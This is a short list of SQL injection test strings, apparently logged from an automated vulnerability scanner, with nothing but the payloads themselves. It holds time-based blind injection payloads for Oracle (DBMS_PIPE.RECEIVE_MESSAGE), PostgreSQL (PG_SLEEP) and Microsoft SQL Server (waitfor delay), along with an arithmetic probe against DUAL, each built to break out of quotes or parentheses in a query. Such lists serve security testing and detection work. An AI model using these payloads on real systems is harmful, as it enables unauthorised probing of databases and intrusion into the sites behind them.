(select 198766*667891 from DUAL)

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555unWbVpch')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--

555T1p62sPT') OR 869=(SELECT 869 FROM PG_SLEEP(15))--

555E5Sxd0vx' OR 408=(SELECT 408 FROM PG_SLEEP(15))--

555-1)) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

555-1) OR 702=(SELECT 702 FROM PG_SLEEP(15))--

555-1 OR 523=(SELECT 523 FROM PG_SLEEP(15))--

555n5zxWBqn'; waitfor delay '0:0:15' --